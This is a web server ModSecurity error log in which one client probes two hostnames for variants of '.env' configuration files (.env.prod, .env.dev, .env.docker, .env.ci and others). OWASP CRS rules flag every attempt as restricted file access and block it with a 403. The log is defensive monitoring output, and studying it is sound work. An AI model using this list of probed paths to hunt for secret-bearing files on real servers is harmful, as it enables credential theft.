[Mon Oct 26 02:27:19.599674 2026] [security2:error] [pid 2982378:tid 2982378] [client 34.163.37.61:38456] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at7yx2VuCUgD8ovs4IEDcAAAABM"]
[Mon Oct 26 02:27:19.635395 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.163.37.61:38460] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "at7yx8sSJ_JPXSgPpTUCVgAAAA4"]
[Mon Oct 26 02:27:19.635613 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.163.37.61:38460] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "at7yx8sSJ_JPXSgPpTUCVgAAAA4"]
[Mon Oct 26 02:27:19.635898 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.163.37.61:38460] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "at7yx8sSJ_JPXSgPpTUCVgAAAA4"]
[Mon Oct 26 02:27:19.765197 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.163.37.61:38460] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at7yx8sSJ_JPXSgPpTUCVwAAAA4"]
[Mon Oct 26 02:27:19.765453 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.163.37.61:38460] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at7yx8sSJ_JPXSgPpTUCVwAAAA4"]
[Mon Oct 26 02:27:19.765736 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.163.37.61:38460] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at7yx8sSJ_JPXSgPpTUCVwAAAA4"]
[Mon Oct 26 02:27:19.797906 2026] [security2:error] [pid 2982378:tid 2982378] [client 34.163.37.61:38456] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at7yx2VuCUgD8ovs4IEDcQAAABM"]
[Mon Oct 26 02:27:19.798114 2026] [security2:error] [pid 2982378:tid 2982378] [client 34.163.37.61:38456] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at7yx2VuCUgD8ovs4IEDcQAAABM"]
[Mon Oct 26 02:27:19.798357 2026] [security2:error] [pid 2982378:tid 2982378] [client 34.163.37.61:38456] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at7yx2VuCUgD8ovs4IEDcQAAABM"]
[Mon Oct 26 02:27:19.871962 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.163.37.61:38460] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at7yx8sSJ_JPXSgPpTUCWAAAAA4"]
[Mon Oct 26 02:27:19.872248 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.163.37.61:38460] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at7yx8sSJ_JPXSgPpTUCWAAAAA4"]
[Mon Oct 26 02:27:19.872492 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.163.37.61:38460] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at7yx8sSJ_JPXSgPpTUCWAAAAA4"]
[Mon Oct 26 02:27:19.944932 2026] [security2:error] [pid 2982378:tid 2982378] [client 34.163.37.61:38456] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at7yx2VuCUgD8ovs4IEDcgAAABM"]
[Mon Oct 26 02:27:19.945208 2026] [security2:error] [pid 2982378:tid 2982378] [client 34.163.37.61:38456] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at7yx2VuCUgD8ovs4IEDcgAAABM"]
[Mon Oct 26 02:27:19.945586 2026] [security2:error] [pid 2982378:tid 2982378] [client 34.163.37.61:38456] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at7yx2VuCUgD8ovs4IEDcgAAABM"]
[Mon Oct 26 02:27:20.079488 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.163.37.61:38460] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at7yyMsSJ_JPXSgPpTUCWQAAAA4"]
[Mon Oct 26 02:27:20.079842 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.163.37.61:38460] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at7yyMsSJ_JPXSgPpTUCWQAAAA4"]
[Mon Oct 26 02:27:20.080122 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.163.37.61:38460] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at7yyMsSJ_JPXSgPpTUCWQAAAA4"]
[Mon Oct 26 02:27:20.123853 2026] [security2:error] [pid 2982378:tid 2982378] [client 34.163.37.61:38456] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.stage"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at7yyGVuCUgD8ovs4IEDcwAAABM"]
[Mon Oct 26 02:27:20.124112 2026] [security2:error] [pid 2982378:tid 2982378] [client 34.163.37.61:38456] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at7yyGVuCUgD8ovs4IEDcwAAABM"]
[Mon Oct 26 02:27:20.124391 2026] [security2:error] [pid 2982378:tid 2982378] [client 34.163.37.61:38456] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at7yyGVuCUgD8ovs4IEDcwAAABM"]
[Mon Oct 26 02:27:20.218964 2026] [security2:error] [pid 2982378:tid 2982378] [client 34.163.37.61:38456] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.ci"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.ci"] [unique_id "at7yyGVuCUgD8ovs4IEDdAAAABM"]
[Mon Oct 26 02:27:20.219223 2026] [security2:error] [pid 2982378:tid 2982378] [client 34.163.37.61:38456] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.ci"] [unique_id "at7yyGVuCUgD8ovs4IEDdAAAABM"]
[Mon Oct 26 02:27:20.219489 2026] [security2:error] [pid 2982378:tid 2982378] [client 34.163.37.61:38456] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.ci"] [unique_id "at7yyGVuCUgD8ovs4IEDdAAAABM"]
[Mon Oct 26 02:27:20.264630 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.163.37.61:38460] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.stage"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at7yyMsSJ_JPXSgPpTUCWgAAAA4"]
[Mon Oct 26 02:27:20.264888 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.163.37.61:38460] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at7yyMsSJ_JPXSgPpTUCWgAAAA4"]
[Mon Oct 26 02:27:20.265168 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.163.37.61:38460] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at7yyMsSJ_JPXSgPpTUCWgAAAA4"]
[Mon Oct 26 02:27:20.370667 2026] [security2:error] [pid 2982378:tid 2982378] [client 34.163.37.61:38456] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.docker"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at7yyGVuCUgD8ovs4IEDdQAAABM"]
[Mon Oct 26 02:27:20.370942 2026] [security2:error] [pid 2982378:tid 2982378] [client 34.163.37.61:38456] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at7yyGVuCUgD8ovs4IEDdQAAABM"]
[Mon Oct 26 02:27:20.371238 2026] [security2:error] [pid 2982378:tid 2982378] [client 34.163.37.61:38456] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at7yyGVuCUgD8ovs4IEDdQAAABM"]
[Mon Oct 26 02:27:20.423555 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.163.37.61:38460] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.ci"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.ci"] [unique_id "at7yyMsSJ_JPXSgPpTUCWwAAAA4"]
[Mon Oct 26 02:27:20.423802 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.163.37.61:38460] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.ci"] [unique_id "at7yyMsSJ_JPXSgPpTUCWwAAAA4"]
[Mon Oct 26 02:27:20.424070 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.163.37.61:38460] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.ci"] [unique_id "at7yyMsSJ_JPXSgPpTUCWwAAAA4"]
[Mon Oct 26 02:27:20.461699 2026] [security2:error] [pid 2982378:tid 2982378] [client 34.163.37.61:38456] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.live"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "at7yyGVuCUgD8ovs4IEDdgAAABM"]
[Mon Oct 26 02:27:20.461979 2026] [security2:error] [pid 2982378:tid 2982378] [client 34.163.37.61:38456] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "at7yyGVuCUgD8ovs4IEDdgAAABM"]
[Mon Oct 26 02:27:20.462310 2026] [security2:error] [pid 2982378:tid 2982378] [client 34.163.37.61:38456] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "at7yyGVuCUgD8ovs4IEDdgAAABM"]
[Mon Oct 26 02:27:20.502544 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.163.37.61:38460] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.docker"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at7yyMsSJ_JPXSgPpTUCXAAAAA4"]
[Mon Oct 26 02:27:20.502787 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.163.37.61:38460] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at7yyMsSJ_JPXSgPpTUCXAAAAA4"]
